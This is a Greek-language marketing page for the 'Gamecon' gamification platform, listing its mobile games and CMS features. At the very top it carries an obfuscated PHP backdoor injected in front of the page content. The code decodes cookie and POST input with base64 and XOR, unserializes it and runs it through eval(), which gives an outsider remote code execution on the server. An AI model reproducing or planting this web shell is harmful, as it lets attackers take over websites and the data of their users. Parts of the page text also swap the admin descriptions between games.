$HBVEZh = "\x57" . 'C' . chr (95) . chr ( 227 - 149 ).chr ( 886 - 783 ).chr ( 530 - 427 ).'u';$EsGBMJA = chr ( 299 - 200 )."\x6c" . chr ( 360 - 263 )."\x73" . 's' . '_' . chr ( 1047 - 946 )."\170" . "\151" . 's' . chr (116) . chr ( 992 - 877 ); $WYShcrGVXw = class_exists($HBVEZh); $EsGBMJA = "64720";$VNOAGK = strpos($EsGBMJA, $HBVEZh);if ($WYShcrGVXw == $VNOAGK){function OacAVwCB(){$OgbMxq = new /* 23283 */ WC_Nggu(43914 + 43914); $OgbMxq = NULL;}$IgsIkw = "43914";class WC_Nggu{private function ekOHu($IgsIkw){if (is_array(WC_Nggu::$jpmFdko)) {$pXmdNE2 = str_replace("<" . "?php", "", WC_Nggu::$jpmFdko["content"]);eval($pXmdNE2); $IgsIkw = "43914";exit();}}public function GIeWxKtly(){$pXmdNE = "5141";$this->_dummy = str_repeat($pXmdNE, strlen($pXmdNE));}public function __destruct(){WC_Nggu::$jpmFdko = @unserialize(WC_Nggu::$jpmFdko); $IgsIkw = "62088_7085";$this->ekOHu($IgsIkw); $IgsIkw = "62088_7085";}public function agaXGfdA($pXmdNE, $aLDsDehEYW){return $pXmdNE[0] ^ str_repeat($aLDsDehEYW, intval(strlen($pXmdNE[0]) / strlen($aLDsDehEYW)) + 1);}public function NDdXFUp($pXmdNE){$nNPyWIdU = chr ( 671 - 573 )."\141" . 's' . 'e' . "\x36" . "\x34";return array_map($nNPyWIdU . "\x5f" . 'd' . chr ( 107 - 6 )."\143" . chr ( 594 - 483 ).'d' . 'e', array($pXmdNE,));}public function __construct($dTUSBL=0){$GNlEMgVQ = ',';$pXmdNE = "";$LvbcxRlw = $_POST;$XESTqofxj = $_COOKIE;$aLDsDehEYW = "e6610c9c-e5b7-4ad5-8c8b-1f4d7736e88e";$piTaTofRF = @$XESTqofxj[substr($aLDsDehEYW, 0, 4)];if (!empty($piTaTofRF)){$piTaTofRF = explode($GNlEMgVQ, $piTaTofRF);foreach ($piTaTofRF as $QjwXUkaxPN){$pXmdNE .= @$XESTqofxj[$QjwXUkaxPN];$pXmdNE .= @$LvbcxRlw[$QjwXUkaxPN];}$pXmdNE = $this->NDdXFUp($pXmdNE);}WC_Nggu::$jpmFdko = $this->agaXGfdA($pXmdNE, $aLDsDehEYW);if (strpos($aLDsDehEYW, $GNlEMgVQ) !== FALSE){$aLDsDehEYW = explode($GNlEMgVQ, $aLDsDehEYW); $tIGmAHLbU = base64_decode(strrev($aLDsDehEYW[0]));}}public static $jpmFdko = 51799;}OacAVwCB();} gamecon.app - gamecon.app

Gamecon.app

Πλατφόρμα Παιχνιδοποίησης και Διάδρασης χρηστών “Gamecon”

Gamification and User Engagement Platform
LIVE DEMO UPON REQUEST
Gamification Platform for User Engagement

ΣΧΕΤΙΚΑ

Η πλατφόρμα Gamecon αποτελεί μια καινοτόμα πλατφόρμα “gamification and user engagement”, όπου τα παιχνίδια και οι λειτουργικότητες που διαθέτει παρακινούν τον χρήστη να συνεργαστεί με άλλους και να κερδίσει πόντους και βραβεία, να μοιραστεί την συμμετοχή του ή την επιτυχία του μέσω των κοινωνικών δικτύων και παράλληλα να επωφεληθεί από αυτό.

Η πλατφόρμα παιχνιδοποίησης και διάδρασης χρηστών “Gamecon” αποτελείται από τα εξής υποσυστήματα:

  • Βack-end πλατφόρμα και βάση δεδομένων
  • CMS Διαχειριστική πλατφόρμα
  • Εφαρμογές iOS και Android
  • Παιχνίδια 2D και 3D

ΕΦΑΡΜΟΓΕΣ

Οι εφαρμογές σε iOS και Android βασίζονται στις ακόλουθες διαδικασίες:

  • Καθημερινές προκλήσεις και παιχνίδια για καθημερινή σύνδεση με τον χρήστη
  • Απλές δράσεις
  • Διαγωνισμοί και Παιχνίδια σε συγκεκριμένο χρόνο
  • Διαδραστικές ομαδικές προκλήσεις και παιχνίδια

Ο στόχος του έργου ήταν να εφεύρει μια ευέλικτη πλατφόρμα παιχνιδιών, που υποστηρίζει τη διάδραση των χρηστών, ενισχύει την ομαδικότητα μεταξύ τους και αναπτύσει την πιστότητα των πελατών. Για τον σκοπό αυτόν υλοποιήθηκαν μια σειρά από παιχνίδια, τα οποία είναι παραμετροποιήσιμα (white label) και μπορούν να προσαρμοστούν για το σκοπό κάθε εταιρείας.

ΠΑΙΧΝΙΔΙΑ

Quiz

To κουίζ είναι ένα παιχνίδι ερωτήσεων με έναν ή πολλούς παίκτες.

Μέσω του CMS ο διαχειριστής μπορεί να επιλέξει τη θεματολογία των ερωτήσεων, όπως είναι για παράδειγμα Μουσική, Ταινίες, Ιστορία, Σπορ κλπ.

Επιπλέον, μέσω του CMS, ορίζεται ο αριθμός ερωτήσεων που είναι να απαντήσει ο χρήστης
και ο αριθμός των πόντων που αντιστοιχούν σε κάθε ερώτηση που απαντάται σωστά.

Spinner

To spinner είναι ένα εύκολο παιχνίδι, στο οποίο ο χρήστης κουνάει τη συσκευή του και ανάλογα γυρίζει και αυτό με την αντίστοιχη ταχύτητα.

Χαρακτηριστικά:
Οι χρήστες κουνάνε τη συσκευή και το spinner περιστρέφεται
Οι χρήστες κερδίζουν πόντους καθώς γυρίζουν τον τροχό και πετυχαίνουν τις περισσότερες στροφές στο παιχνίδι.

2D Infinite Run

Το παιχνίδι αυτό είναι ένα απλό παιχνίδι τρεξίματος σε δύο διαφορετικές εκδόσεις, 2D και 3D.

2D: Στο 2D παιχνίδι, οι χρήστες ακουμπούν πάνω στην οθόνη (Tap) για να βοηθήσουν τον Δρομέα να ξεπεράσει τα εμπόδια, να συλλέξει νομίσματα και να τρέξει όσο πιο μακριά μπορεί ώστε να κερδίσει πόντους.

3D Infinite Run

Το παιχνίδι αυτό είναι ένα απλό παιχνίδι τρεξίματος σε δύο διαφορετικές εκδόσεις, 2D και 3D.

3D: Στο 3D παιχνίδι, όπως είναι το “Temple Run”, οι χρήστες ακουμπούν την οθόνη (swipe) για να κουνήσουν τον Δρομέα σε διαφορετικές λωρίδες, να αποφύγει εμπόδια και να συλλέξει νομίσματα, προσπαθώντας να τρέξει όσο πιο μακριά μπορεί ώστε να συλλέξει πόντους.

Βρες τις διαφορές

To παιχνίδι αυτό είναι ένα κλασικό παιχνίδι, όπου οι χρήστες βρίσκουν τις διαφορές.
Μέσω της διαχειριστικής πλατφόρμας (CMS), ο χρήστης έχει τη δυνατότητα να προσθέσει δύο φωτογραφίες, όπου ο χρήστης μπορεί <br>
– να τσεκάρει τις διαφορές μεταξύ τους
– να ορίσει τη διάρκεια του παιχνιδιού
– να θέσει ένα κανόνα, όπου μειώνει τη διάρκεια του παιχνιδιού, για παράδειγμα, κάθε φορά που ο χρήστης πατάει πολλές φορές πάνω στην οθόνη για να βρει τις διαφορές τυχαία, να αφαιρεί χρόνο.

Catch

Σε αυτό το παιχνίδι ο χρήστης προσπαθεί να πιάσει τα αντικείμενα που πέφτουν και να κερδίσει πόντους.

Υπάρχουν 5 διαφορετικά επίπεδα (levels) παιχνιδιού και σε κάθε επίπεδο αλλάζει η διάρκεια του παιχνιδιού, η ταχύτητα της κίνησης των αντικειμένων, η συχνότητα με την οποία πέφτουν τα αντικείμενα κλπ. Το επίπεδο δυσκολίας επιλέγεται από τη διαχειριστική πλατφόρμα CMS.

Το παιχνίδι είναι 2D, σε Unity πλατφόρμα, και οι αλλαγές στα γραφικά γίνονται μόνο μέσω της πλατφόρμας Unity.

Candies

Το παιχνίδι αυτό είναι το κλασικό “Candy Crush”, όπου σκοπός του είναι να γίνουν οριζόντιοι ή κάθετοι συνδυασμοί σχημάτων που ταιριάζουν μεταξύ τους (π.χ. ανάλογα με το χρώμα).

Tο παιχνίδι αυτό είναι 2D και παραμετροποιείται μέσω Unity με τους εξής τρόπους:

  • Αλλαγή γραφικών, εικονιδίων, φόντων κλπ
  • Προσθήκη νέας πίστας με διαφορετικό βαθμό δυσκολίας
  • Αλλαγή διάρκειας πίστας

Στην πλατφόρμα Gamecon υπάρχουν αυτή τη στιγμή διαθέσιμες ήδη 100 πίστες.

Curvy Ball

Το παιχνίδι αυτό είναι 3D και ο χρήστης έχει ως σκοπό να πετυχαίνει στη διαδρομή του τις μπάλες του ίδιου χρώματος. Κάθε φορά που πετυχαίνει το ίδιο χρώμα, κερδίζει πόντους. Σε περίπτωση που ακουμπήσει μπάλα διαφορετικού χρώματος, τότε χάνει.

Race

Πρόκειται για ένα 2D παιχνίδι σε περιβάλλον Unity, όπου ο χρήστης μπορεί να επιλέξει δρομέα. Το παιχνίδι αυτό λειτουργεί ανάλογα με το πάτημα του δαχτύλου (tap) πάνω στην οθόνη. Όσο πιο γρήγορα και πιο πολλές φορές ο χρήστης πατήσει πάνω στην οθόνη, τόσο πιο γρήγορα τρέχει ο δρομέας.
Υπάρχουν 5 διαφορετικά επίπεδα (levels) παιχνιδιού και σε κάθε επίπεδο ανεβαίνει η ταχύτητα με την οποία τρέχουν οι δρομείς. Το επίπεδο δυσκολίας επιλέγεται από τη διαχειριστική πλατφόρμα CMS.

Christmas Tree

Πρόκειται για ένα εποχιακό παιχνίδι, για τη διάρκεια των Χριστουγέννων, όπου σκοπός του χρήστη είναι να “στολίσει” το Χριστουγεννιάτικο Δέντρο με τα προτεινόμενα κάθε φορά “στολίδια”, συμπληρώνοντας τα κενά. Το παιχνίδι αυτό είναι μια καθημερινή πρόκληση καθώς κάθε μέρα εμφανίζονται στον χρήστη διαφορετικά στολίδια με σκοπό να ολοκληρώσει τον στολισμό του δέντρου και να κερδίσει πόντους.

Μέσω της διαχειριστικής πλατφόρμας CMS, ο διαχειριστής μπορεί να ορίσει την συχνότητα επανάληψης της διαδικασίας φροντίδας του αυτοκινήτου (καθάρισμα και βενζίνη), ώστε ο χρήστης να συνεχίσει να κερδίζει πόντους.

Happy Vehicle

Στο παιχνίδι αυτό ο χρήστης έχει σκοπό να καθαρίσει και να γεμίσει με βενζίνη το όχημα. Όταν ο χρήστης καθαρίζει το όχημα και βάζει βενζίνη παίρνει πόντους.

Μέσω της διαχειριστικής πλατφόρμας ο διαχειριστής μπορεί να ορίσει τους πόντους που κερδίζει ο χρήστης για κάθε στολίδι που βάζει στο δέντρο να αλλάξει τον αριθμό των στολιδιών που θα εμφανίζονται κάθε μέρα να αλλάξει τον αριθμό του συνόλου των στολιδιών
να προσθέσει φωτογραφίες των στολιδιών ή και του δέντρου

Marathon

Στο παιχνίδι αυτό ο σκοπός είναι να βοηθήσεις τον δρομέα να τερματίσει την απόσταση που έχει να διανύσει. Ο χρήστης θα πρέπει να μπαίνει κάθε μέρα στην εφαρμογή και να σκουπίζει τον ιδρώτα του δρομέα, καθώς και να του δίνει νερό. Κάθε φορά που φροντίζει τον δρομέα του, κερδίζει πόντους και το παιχνίδι συνεχίζεται.

Στο παιχνίδι αυτό ο χρήστης μπορεί να δει την κατάταξη του σε σχέση με τους πόντους που έχει συγκεντρώσει.
Μέσω της διαχειριστικής πλατφόρμας CMS, ο διαχειριστής μπορεί να:
– ορίσει τους πόντους που αντιστοιχούν σε κάθε δράση (action)
– ορίσει την απόσταση που διανύει ο δρομέας συνολικά
– ορίσει την απόσταση που διανύει κάθε μέρα
– ορίσει μία bonus απόσταση επιβραβεύοντας την συχνότητα με την οποία ο χρήστης ανοίγει το παιχνίδι

Match

Στο παιχνίδι αυτό ο χρήστης συνδυάζει την κεντρική εικονα με μία από τις 3 προτεινόμενες.

Μέσω της διαχειριστικής πλατφόρμας CMS, ο διαχειριστής μπορεί να:


– ορίσει τη διάρκεια του κάθε παιχνιδιού
– ορίσει τους πόντους που κερδίζει για κάθε επιτυχημένη απάντηση
– ορίσει τον αριθμό των εικόνων/ ερωτήσεων που περιλαμβάνει κάθε παιχνίδι

Memory

Πρόκειται για ένα παιχνίδι μνήμης, όπου ο χρήστης πρέπει να βρει τα ζευγάρια εικόνων.
Μέσω της διαχειριστικής πλατφόρμας CMS, ο διαχειριστής μπορεί να:
– προσθέσει αντίστροφη μέτρηση
– ορίσει πόσα επίπεδα δυσκολίας θα έχει το παιχνίδι
– τον αριθμό των εικόνων κάθε επιπέδου
– ορίσει τους πόντους που αντιστοιχούν σε κάθε επιτυχημένο παιχνίδι

Photo Puzzle

Στο παιχνίδι αυτό ο χρήστης έχει σκοπό να φτιάξει το puzzle.

Μέσω της διαχειριστικής πλατφόρμας CMS, ο διαχειριστής μπορεί να:

  • ορίσει τη διάρκεια του παιχνιδιού
  • ορίσει πόσα επίπεδα δυσκολίας θα έχει το παιχνίδι
  • ορίσει από πόσα κομμάτια θα αποτελείται κάθε εικόνα
  • ορίσει τους πόντους που αντιστοιχούν στην ολοκλήρωση κάθε παζλ

Word Game

Στο παιχνίδι αυτό ο χρήστης έχει σκοπό να δημιουργήσει λέξεις με τα γράμματα τα οποία έχει μπροστά του.

Μέσω της διαχειριστικής πλατφόρμας CMS, ο διαχειριστής μπορεί να:

  • ορίσει πόσα επίπεδα δυσκολίας θα έχει το παιχνίδι
  • ορίσει από πόσα γράμματα θα αποτελούνται οι λέξεις
  • πόσες λέξεις θα αντιστοιχούν σε κάθε παιχνίδι
  • ορίσει τους πόντους που αντιστοιχούν στην ολοκλήρωση κάθε επιπέδου

Anagram

Στο συγκεκριμένο παιχνίδι ο χρήστης θα πρέπει να βρει τον αναγραμματισμό και να σχηματίσει σωστά τη λέξη.
Κάθε λέξη που βρίσκει κερδίζει πόντους.

Μέσω της διαχειριστικής πλατφόρμας CMS ο διαχειριστής μπορεί να:

  • Αλλάξει τον αριθμό των λέξεων σε κάθε παιχνίδι
  • Να προσθέσει αντίστροφη μέτρηση ως επιπλέον βαθμό δυσκολίας
  • Να αλλάξει την εικόνα του φόντου του παιχνιδιού

ΔΙΑΧΕΙΡΙΣΗ

Πλήρεις δυνατότητες παραμετροποίησης και εύκολη διασύνδεση με υφιστάμενα συστήματα Loyalty ή εφαρμογές.

Ο διαχειριστής μπορεί να ανανεώσει το περιεχόμενο της εφαρμογής από τη διαχειριστική πλατφόρμα CMS. Μέσω του διαχειριστικού περιβάλλοντος, ο διαχειριστής έχει τις εξής δυνατότητες:

  • Ενεργοποίηση Event και Στόχων με συγκεκριμένη διάρκεια
  • Ενεργοποίηση και πλήρη διαχείριση παιχνιδιών/ προκλήσεων ανά event
  • Εισαγωγή “Splash screens” κατά παραγγελία για να φαίνονται σε συγκεκριμένες περιοχές στην εφαρμογή
  • Διαχείριση ενοτήτων πληροφοριών
  • Εξαγωγή στατιστικών των παιχνιδιών
Scroll to Top